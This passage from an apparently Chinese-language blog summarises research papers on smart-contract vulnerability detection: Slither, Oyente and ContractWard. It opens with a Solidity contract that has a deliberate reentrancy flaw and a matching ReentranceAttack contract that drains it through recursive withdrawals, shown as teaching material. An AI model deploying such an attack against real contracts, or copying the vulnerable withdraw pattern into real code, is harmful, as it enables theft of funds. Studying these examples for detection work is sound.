uint) public balances;<br> <span class="hljs-comment">// 充值</span><br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">donate</span>(<span class="hljs-params">address _to</span>) <span class="hljs-title">public</span> <span class="hljs-title">payable</span> </span>{<br> balances[_to] += msg.value;<br> }<br> <span class="hljs-comment">// 查看余额</span><br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params">address _who</span>) <span class="hljs-title">public</span> <span class="hljs-title">view</span> <span class="hljs-title">returns</span> (<span class="hljs-params">uint balance</span>) </span>{<br> <span class="hljs-keyword">return</span> balances[_who];<br> }<br> <span class="hljs-comment">// 提现</span><br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params">uint _amount</span>) <span class="hljs-title">public</span> </span>{<br> <span class="hljs-keyword">if</span>(balances[msg.sender] >= _amount) {<br> <span class="hljs-keyword">if</span>(msg.sender.call.value(_amount)()) { <span class="hljs-comment">//造成可重入攻击的代码</span><br> _amount;<br> }<br> balances[msg.sender] -= _amount;<br> }<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) <span class="hljs-title">public</span> <span class="hljs-title">payable</span> </span>{}<br>}<br></code></pre></td></tr></table></figure><p>攻击方的合约代码如下:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs javascript">contract ReentranceAttack{<br> Reentrance entrance;<br><br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ReentranceAttack</span>(<span class="hljs-params">address _target</span>) <span class="hljs-title">public</span> <span class="hljs-title">payable</span> </span>{<br> entrance = Reentrance(_target);<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title">public</span> <span class="hljs-title">payable</span></span>{<br> entrance.donate.value(msg.value);<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title">public</span></span>{<br> entrance.withdraw(<span class="hljs-number">0.5</span> ether);<br> entrance.withdraw(<span class="hljs-number">0.5</span> ether);<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) <span class="hljs-title">public</span> <span class="hljs-title">payable</span></span>{<br> <span class="hljs-comment">//攻击方将会递归进行提币操作</span><br> entrance.withdraw(<span class="hljs-number">0.5</span> ether);<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title">public</span> </span>{<br> msg.sender.transfer(<span class="hljs-built_in">this</span>.balance);<br> }<br>}<br></code></pre></td></tr></table></figure><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201022212603.png" alt="在这里插入图片描述" /></p><h2 id="二-设计实现"><a class="markdownIt-Anchor" href="#二-设计实现"></a> 二、设计实现</h2><h3 id="基本功能"><a class="markdownIt-Anchor" href="#基本功能"></a> 基本功能</h3><p>Slither是一个用Python 3编写的智能合约静态分析框架,提供如下功能:</p><ul><li>自动化漏洞检测(Automated vulnerability detection)。提供超30多项的漏洞检查模型,模型列表详见:<a href="https://github.com/crytic/slither#detectors%E3%80%82">https://github.com/crytic/slither#detectors。</a></li><li>自动优化检测(Automated optimization detection)。Slither可以检测编译器遗漏的代码优化项并给出优化建议。</li><li>代码理解(Code understanding)。Slither能够绘制合约的继承拓扑图,合约方法调用关系图等,帮助开发者理解代码。</li><li>辅助代码审查(Assisted code review)。用户可以通过API与Slither进行交互。</li></ul><h3 id="工作方式"><a class="markdownIt-Anchor" href="#工作方式"></a> 工作方式</h3><p>Slither的工作方式如下:</p><ol><li>Solidity compiler:<mark>智能合约源码</mark>经过solc编译后得到Solidity抽象语法树(Solidity Abstract Syntax Tree,AST)作为Slither的输入;可以指定Slither去调用一些常见的框架(包括Truffle,Embark和Dapp)去分析一份智能合约。</li><li>information recovery(数据整合):Slither会生成一些重要的信息,比如合约的继承图(inheritance graph)、控制流图(CFG)以及合约中函数列表。</li><li>SlithIR conversion:Slither将合约代码转换为<a href="https://github.com/crytic/slither/wiki/SlithIR">SlithIR</a>(一种内部表示语言),目的是通过简单的API实现高精度分析,支持污点和值的跟踪,从而支持检测复杂的模型。</li><li>在代码分析阶段,Slither运行一组预定义的分析,包括合约中变量、函数的依赖关系;变量的读写和函数的权限控制。</li><li>经过Slither的核心处理之后,就可以提供漏洞检测、代码优化检测和代码理解输出等。</li></ol><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201022200230.png" alt="image-20201022200218960" /></p><h2 id="三-实验评估"><a class="markdownIt-Anchor" href="#三-实验评估"></a> 三、实验评估</h2><p>本文的一个重要部分是将Slither与其他智能合约静态分析工具进行比较,我们将Slither(版本0.5.0)与其他开源静态分析工具进行对比,以检测以太坊智能合约中的漏洞,对比的对象有:Securify(版本37e2984),SmartCheck(版本4d3367a)和Solhint(版本1.1.10)。我们决定以检测可重入漏洞作为评估检测好坏的标准,因为可重入漏洞是最古老,最易理解和最危险的安全问题之一。</p><p>它在第一个月筹集了超过1.5亿美元的资金。2016年6月17日,黑客从该组织的“重入性”漏洞中抽走了5000万美元。从以太经典(ETC)到以太币(ETH)的硬叉导致了解决这次黑客攻击所产生问题的所有努力。图2显示了一个简单的可重入合约的经典示例,该合约可被人利用以抽取其所有以太币。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201022210547.png" alt="img" /></p><p>可重入检测器(The reentrancy detecto)是我们评估的所有工具中可用的少数几个之一。此外,我们尝试了Etherscan提供其源代码的一千个最常用的合同(交易数量最大的那些合同),以获得以下结果:</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201022210524.png" alt="image-20201022210524839" /></p><p>观察结果可知</p><ol><li>准确性:每行汇总了误报、标记的合同和每个合同的检测准确性结果。 我们的实验表明,Slither是最准确的工具,其误报率最低,为10.9%; 其次是Securify,占25%.相反,SmartCheck和Solhint的假阳性率极高:分别为73.6%和91.3%</li><li>性能:平均执行时间(Average execution time)和超时分析(Timed-out analyses)行汇总了性能结果,确认Slither是最快的工具,其次是Solhint,SmartCheck,最后是Securify。</li><li>鲁棒性:<em>Failed analyses</em> row 总结了健壮性结果,显示Slither是最健壮的工具,其次是Solhint、SmartCheck和Securify。 Slither只对0.1%的合同误报,与此同时,Solhint大约是1.2%左右。SmartCheck和Securify的表现就没那么稳健了,分别有10.22%和11.20%的失败率。</li></ol><h2 id="四-总结"><a class="markdownIt-Anchor" href="#四-总结"></a> 四、总结</h2><p>Slither自从被开发出来,技术迭代速度很快。截止到目前(2020.10.22),开发者最近发布了<a href="https://github.com/crytic/slither/releases/tag/0.6.13">Slither0.6.13</a>版,对其做了一些技术改进并添加了一些功能。目前Slither已经拥有96多个开源探测器,包含两个YUL特定检测器,适用于竞态条件、弱加密和其他关键漏洞的检测。相比于其他用于出于科研目的,论文一经发表就不再维护而言的工具而言,Slither有更好健壮性。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
</tags>
</entry>
<entry>
<title>Making Smart Contracts Smarter</title>
<link href="/2020/1099f71f36.html"/>
<url>/2020/1099f71f36.html</url>
<content type="html"><![CDATA[<h1 id="making-smart-contracts-smarter"><a class="markdownIt-Anchor" href="#making-smart-contracts-smarter"></a> Making Smart Contracts Smarter</h1><p>论文标题:(2016-CCS) <a href="https://dl.acm.org/doi/abs/10.1145/2976749.2978309">Making Smart Contracts Smarter</a> ——使智能合约更智能</p><p>论文引用:Luu L, Chu D H, Olickel H, et al. Making smart contracts smarter[C]//Proceedings of the 2016 ACM SIGSAC conference on computer and communications security. 2016: 254-269.</p><p>代码开源:<a href="https://github.com/enzymefinance/oyente">oyente: An Analysis Tool for Smart Contracts</a></p><h2 id="主要内容"><a class="markdownIt-Anchor" href="#主要内容"></a> 主要内容</h2><p>在本文中,作者研究了在类似加密货币的开放式分布式网络中基于以太坊运行智能合约的安全性。并且介绍了几个安全性问题,在这些问题中,对手可以操纵智能合约的执行以获取利益。这些错误表明在理解底层平台的分布式语义方面存在细微的差距。作者提出了增强以太坊操作语义的方法,以减少合同的脆弱性。对于为现有的以太坊系统写智能合约的开发人员,构建了一个名为Oyente的符号执行工具来发现潜在的安全漏洞。</p><p>在19366份现有以太坊合同中,Oyente标记其中8833份为易受攻击的合同,其中包括TheDAO错误,该错误导致2016年6月损失了6000万美元。</p><h3 id="背景知识符号执行"><a class="markdownIt-Anchor" href="#背景知识符号执行"></a> 背景知识:符号执行</h3><p>符号执行是一种传统的自动化漏洞挖掘技术, 目前也被广泛用于智能合约的漏洞挖掘。符号执行引擎为目标代码提供符号化的虚拟运行环境, 将程序所需的外部输入抽象为取值不固定的符号值, 并通过不断求解路径约束, 来尽可能的探索程序分支。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201029221259.png" alt="" /></p><p>符号执行的主要思想是把程序执行过程中不确定的输入转换为符号值, 以推动程序执行与分析我们以下面代码为例, 对符号执行的基本流程进行解释。图1对应的示例代码如下:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs javascript">contract sample{ <br>uint g_var; <br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo1</span>(<span class="hljs-params">uint m, uint n</span>) <span class="hljs-title">public</span></span>{ <br><span class="hljs-keyword">if</span>(m > n){ <br>g_var = m; <br>}<span class="hljs-keyword">else</span>{ <br>g_var = n; <br>} <br>} <br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo2</span>(<span class="hljs-params">uint x</span>) <span class="hljs-title">public</span></span>{<br> <span class="hljs-keyword">if</span>(g_var < x){<br> g_var = x; <br> } <br>} <br>}<br></code></pre></td></tr></table></figure><p>无论是智能合约还是传统平台中的程序, 都可以被抽象为一棵执行树。在正常的执行流程中, 由于程序输入为定值, 每个条件判断都可以得到确定的答案, 因此仅有一条分支被探索。</p><p>而在符号执行中, 输入值为不定的符号变量, 当遇到条件判断时, 符号执行引擎会利用<mark>约束求解器</mark>对包含符号变量的表达式进行求解。对于所有有解的分支, 符号执行都会进行分析, 并记录路径中的约束。</p><p>在上图中, 合约调用的输入有两个, 一个是待调用的函数, 一个是函数的输入。对于图1中的路径 1 来说, 当程序执行到叶子节点时, 该路径的约束有两个: [Func == foo1, m > n], m和n皆为符号化的输入值。对于符号执行来说, 智能合约与传统程序的差异主要在于合约中全局变量的取值是不确定的。因此通常情况下除了输入值, 智能合约的全局变量也需要被处理为符号值。</p><h2 id="设计实现"><a class="markdownIt-Anchor" href="#设计实现"></a> 设计实现</h2><h3 id="oyente"><a class="markdownIt-Anchor" href="#oyente"></a> Oyente</h3><p>Oyente是在论文发表之后一段时间才由melon.fund于2018年10月发布的一款为现有的以太坊智能合约开发人员构建的符号执行工具,以发现智能合约中潜在的安全漏洞。其基本介绍:</p><ol><li>开发语言:Python</li><li>工具类型:静态分析工具</li><li>分析内容:EVM字节码</li><li>工具原理:Oyente将需要分析的合约的<mark>字节码</mark>和当前以太坊的全局状态作为输入,检测合约是否存在安全问题,并向用户输入有问题的符号路径。在这个过程中,使用Z3求解器来确定可满足性。</li><li>模块划分:包含 4 个核心组件, 控制流图生成器(CFG Builder), 探索器(Explorer), 分析器(Core Analysis)和验证器(Validator)。</li></ol><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201029222806.png" alt="image-20201029221903218" /></p><ul><li><p>控制流图生成器(CFGBuilder):对合约进行预分析, 为合约构建基本的控制流图, 以基本块为节点, 跳转关系为边;然而部分跳转关系并不能由生成器完全确定。</p></li><li><p>探索器(Explorer):对智能合约进行符号执行, 并在执行过程中将这些信息补齐。探索器承担着收集合约信息的重要责任, 它本质上是一个循环, 依次执行合约控制流图中各个基本块的代码。它利用 <strong>Z3 求解器</strong>对合约中的条件跳转进行求解, 探索器根据求解结果决定对哪个分支进行分析, 当条件跳转的两个分支条件都有解时, 两个分支都会被探索。</p></li><li><p>分析器(CoreAnalsis):包含用于检测合同的子组件,这些合同是TOD,与时间戳相关或异常处理的异常。Explorer仅收集表现出不同的以太流的路径。 因此,根据当交易顺序改变时发出的以太币是否不同来检测合约是否为TOD。 同样,如果要发送的条件包括块时间戳,我们将检查合同是否与时间戳相关。 我们描述了我们如何执行以下分析</p><ul><li>TOD(transaction-ordering dependent)检测。 Explorer返回一组路径以及每个路径对应的以太流。 因此,我们的分析将检查两条不同的路径是否有不同的以太流。 如果合同中有这样的痕迹对,Oyente会将其报告为TOD合同。</li><li>时间戳依赖性检测。 我们使用特殊的符号变量来表示块时间戳。 请注意,块时间戳在执行期间保持不变。 因此,给定轨迹的路径条件,我们检查是否包含此符号变量。 如果合同的任何跟踪依赖于此符号变量,则将合同标记为与时间戳相关。</li><li>错误处理的异常。 检测错误处理的异常很简单。 回想一下,如果被调用方产生了例外,它将0推入调用方的操作数堆栈。 因此,我们仅需要在每次调用后检查合同是否执行ISZERO指令(该指令检查堆栈的最高值是否为0)。 如果不是,则忽略被调用方中发生的任何异常。 因此,我们将此类合同标记为处理异常的合同。</li><li>重入检测。 我们利用路径条件来检查重入漏洞。 在遇到的每个CALL,我们在执行CALL之前获取执行的路径条件。 然后,我们检查这个条件带有更新变量(例如存储值)是否仍然成立(即,是否可以再次执行call 指令)。 如果是这样,我们认为这是一个漏洞,因为被调用者有可能在完成调用之前重新执行调用操作。</li></ul></li><li><p>验证器(Validator):试图消除误报。 例如,假设CoreAnalysis将一个合同标记为TOD,并且其两条迹线t1和t2表现出不同的以太流量,验证器将查询Z3以检查排序(t1,t2)和(t2,t1)是否都可行。 如果不存在这样的t1和t2,则将该案例视为误报。 但是,由于我们还没有完全模拟以太坊的执行环境,Validator还远远不够完善。 对于第6节中介绍的结果,我们采用尽力而为的 手动分析来确认安全漏洞。 换句话说,Oyente当前的主要用途是标记潜在的易受攻击的合同。 全面的误报检测将留待以后的工作。</p></li></ul><h2 id="总结评价"><a class="markdownIt-Anchor" href="#总结评价"></a> 总结评价</h2><p>1、Oyente是最早关注到自动化合约漏洞挖掘的工作之一, 提供了一个实现较为精简的合约符号执行引擎;尽管 Oyente 的部分检测方案并不完善, 涉及的漏洞也不够全面, 但依旧作为开创性的工作, 为后续研究提供了很好的支持。</p><p>2、Oyente 在论文中介绍了对条件竞争、时间戳依赖、未校验返回值以及重入漏洞等四种合约漏洞的检测方案,并在开源代码中进一步补充了整数上溢、整数下溢、调用栈溢出等常见漏洞的检测代码。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>符号执行</tag>
</tags>
</entry>
<entry>
<title>Contractward: Automated vulnerability detection models for ethereum smart contracts</title>
<link href="/2020/10c7caf55.html"/>
<url>/2020/10c7caf55.html</url>
<content type="html"><![CDATA[<h1 id="contractwardautomated-vulnerability-detection-models-for-ethereum-smart-contracts"><a class="markdownIt-Anchor" href="#contractwardautomated-vulnerability-detection-models-for-ethereum-smart-contracts"></a> ContractWard:Automated Vulnerability Detection Models for Ethereum Smart Contracts</h1><p>论文标题:(2020-TNSE) <a href="https://ieeexplore.ieee.org/abstract/document/8967006/">ContractWard- Automated Vulnerability Detection Models for Ethereum Smart Contracts</a>——以太坊智能合约的自动漏洞检测模型</p><p>论文引用:Wang W, Song J, Xu G, et al. Contractward: Automated vulnerability detection models for ethereum smart contracts[J]. IEEE Transactions on Network Science and Engineering, 2020.</p><p>代码开源:未找到开源代码</p><h2 id="主要内容"><a class="markdownIt-Anchor" href="#主要内容"></a> 主要内容</h2><p>本文作者提出了ContractWard,其使用机器学习技术检测智能合约中的漏洞。首先,从智能合约的简化操作代码(simplified operation codes)中提取二元语法(bigram)特征;然后采用五种机器学习算法和两种采样算法来构建模型。</p><p>通过以太坊上运行的49502个实际运行智能合约来对ContractWard进行了评估,结果表明: 当使用XGBoost训练模型和使用SMOTETomek平衡训练集时,预测的ContractWard的Micro-F1和Macro-F1超过96%,每个智能合约的平均检测时间为4秒。</p><h3 id="引入"><a class="markdownIt-Anchor" href="#引入"></a> 引入</h3><p>Oyente ,Mythril和Securify这几种现有的工具很耗时,可能不适合批量漏洞检测,因为这些工具主要采用符号执行或符号分析,这些符号执行或符号分析需要探索合同中的所有可执行路径或分析合同的依赖关系图(dependency graphs)。</p><p>ContractWard是基于机器学习技术,目的是在确保的检测准确性的前提下提高智能合约中漏洞检测的效率;它能够根据从训练样本中学到的漏洞来快速有效地检测漏洞。主要分三步构建ContractWard:</p><ol><li>在2018年11月使用以Solidity语言编写的源代码收集了49502个经过验证的以太坊智能合约,将合同标记为Oyente的六种漏洞。</li><li>从操作码(operation codes,opcodes)中提取描述合同静态特征的典型特征。源代码被编译为字节码(bytecodes),字节码被转换为操作码。</li><li>用机器学习算法来检测智能合约中的漏洞<ol><li>采用两种采样算法,即综合少数群体过采样技术(Synthetic Minority Oversampling Technique,SMOTE)和SMOTETomek ,以平衡训练数据集,因为数据是类别不平衡(class-imbalance)的。</li><li>检测测试智能合约是否易受攻击,采用五种机器学习算法:<ol><li>极限梯度提升(eXtreme Gradient Boosting,XGBoost)</li><li>自适应提升(adaptive boosting,AdaBoost)</li><li>随机森林(Random Forest,RF)</li><li>支持向量机(Support Vector Machine,SVM)</li><li>k-最近邻(k-Nearest Neighbor,KNN)</li></ol></li></ol></li></ol><p>主要贡献如下:</p><ol><li>提出ContractWard的系统,用于通过机器学习算法对以太坊智能合约进行大规模,自动的漏洞检测。与现有的工作主要依靠符号执行不同,ContractWard从训练样本中学习易受攻击合同的模式以进行检测。</li><li>为了更好地描述智能合约的特征,从以太坊官方网站收集了49502个实际的智能合约。进一步从简化的操作代码中提取1619维双峰特征(1619 dimensional bigram features),以构建特征空间。</li><li>ContractWard快速、有效和自动地检测智能合约的六个漏洞。在真实合同上运行ContractWard,系统的(predictive recall)和准确性达到96%以上。此外,每个合约的检测时间约为4秒。经实践证明,ContractWard节省时间、且适合批量检测智能合约中的漏洞。</li></ol><h3 id="背景介绍"><a class="markdownIt-Anchor" href="#背景介绍"></a> 背景介绍</h3><h4 id="智能合约的字节码和操作代码"><a class="markdownIt-Anchor" href="#智能合约的字节码和操作代码"></a> 智能合约的字节码和操作代码</h4><p>在 EVM 上,它使用三个步骤来部署合同:</p><ol><li>首先,源代码由开发人员用高级语言编写的(例如:Solidity)</li><li>其次,源代码被编译器编译为字节码(Bytecodes)或EVM 码(EVM code);字节码是由十六进制数字编码的字节数组。</li><li>字节码通过以太坊客户端(Ethereum client)上载到 EVM。</li></ol><p>字节码可以转换为 EVM 指令(instructions)或操作代码(opcodes)。根据以太坊黄皮书,有135个操作指令,具有10个功能:</p><ul><li>停止和算术操作(stop and arithmetic operations)</li><li>比较和位逻辑操作(comparison and bit-wise logic operations)</li><li>SHA3操作(SHA3 operations)</li><li>环境信息操作(environment information operations)</li><li>块信息操作(block information operations)</li><li>堆栈、内存、存储和流操作(stack, memory, storage and flow operations)</li><li>推送操作(push operations)</li><li>交换操作(exchange operations)</li><li>日志记录操作(logging operations)</li><li>系统操作(system operations)</li></ul><p>目前,某些指令未定义,它们将仅用于将来的扩展。由于源代码中定义了大量人为变量(man-made variables),因此使用源代码分析智能合约可能不合适。</p><ul><li>例如,有两个名为 A 和 B 的合同,其中合同 A 的函数声明是 <code>function transfer(address _to,uint256 _value)</code>,而合同B的函数声明:<code>function transfer(address _receiver; uint256 _token)</code>;它们看起来与源代码大不相同,但在操作代码中相似。</li></ul><p>显然,使用操作代码分析智能合约会更容易。下图说明了源代码、字节码和操作码之间的关系</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015103643.png" alt="image-20201015103643570" /></p><center>The Relationships among Source Codes, Bytecodes and Opcodes</center><h4 id="智能合约中的六种安全漏洞"><a class="markdownIt-Anchor" href="#智能合约中的六种安全漏洞"></a> 智能合约中的六种安全漏洞</h4><h5 id="整数溢出和整数下溢漏洞"><a class="markdownIt-Anchor" href="#整数溢出和整数下溢漏洞"></a> 整数溢出和整数下溢漏洞</h5><p>Integer Overflow and Integer Underflow Vulnerabilities</p><p>计算机语言中的整数类型值具有最大值(max)和最小数(min)范围,整数类型在区块链上是无符号(unsigned)的,因此最小值为 0。假设一个无符号整数为 8 位,因此最大值为 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msup><mn>2</mn><mn>8</mn></msup></mrow><annotation encoding="application/x-tex">2^8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span></span></span></span>。当计算超过最大值或低于最小值时,由于<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>m</mi><mi>a</mi><mi>x</mi><mo>+</mo><mn>1</mn><mo>→</mo><mi>m</mi><mi>i</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">max +1\to min</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">a</span><span class="mord mathdefault">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.65952em;vertical-align:0em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">i</span><span class="mord mathdefault">n</span></span></span></span> 和<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>m</mi><mi>i</mi><mi>n</mi><mo>−</mo><mn>1</mn><mo>→</mo><mi>m</mi><mi>a</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">min -1 \to max</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.74285em;vertical-align:-0.08333em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">i</span><span class="mord mathdefault">n</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">a</span><span class="mord mathdefault">x</span></span></span></span></p><h5 id="事务序列性依赖-tod"><a class="markdownIt-Anchor" href="#事务序列性依赖-tod"></a> 事务序列性依赖 (TOD)</h5><p>Transaction-Ordering Dependence</p><p>在区块链上,智能合约的表现因交易序列而异。不幸的是,这些序列可能被矿工操纵。考虑一个待定事务池(the pending transaction pool,txpool)有两个新事务( <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>T</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">T_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>) 和区块链处于状态 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span></span></span></span>,并且状态 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span></span></span></span> 只有在事务<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span></span></span></span> 处理时才能转换为状态 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>S</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">S_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><ul><li>最初,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span></span></span></span> 应在状态 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span></span></span></span>中处理,因此状态从 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>S</mi><mo>→</mo><msub><mi>S</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">S \to S_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</li><li>但矿工可以按照自己的意愿在<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span></span></span></span>之前处理<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>T</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">T_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span 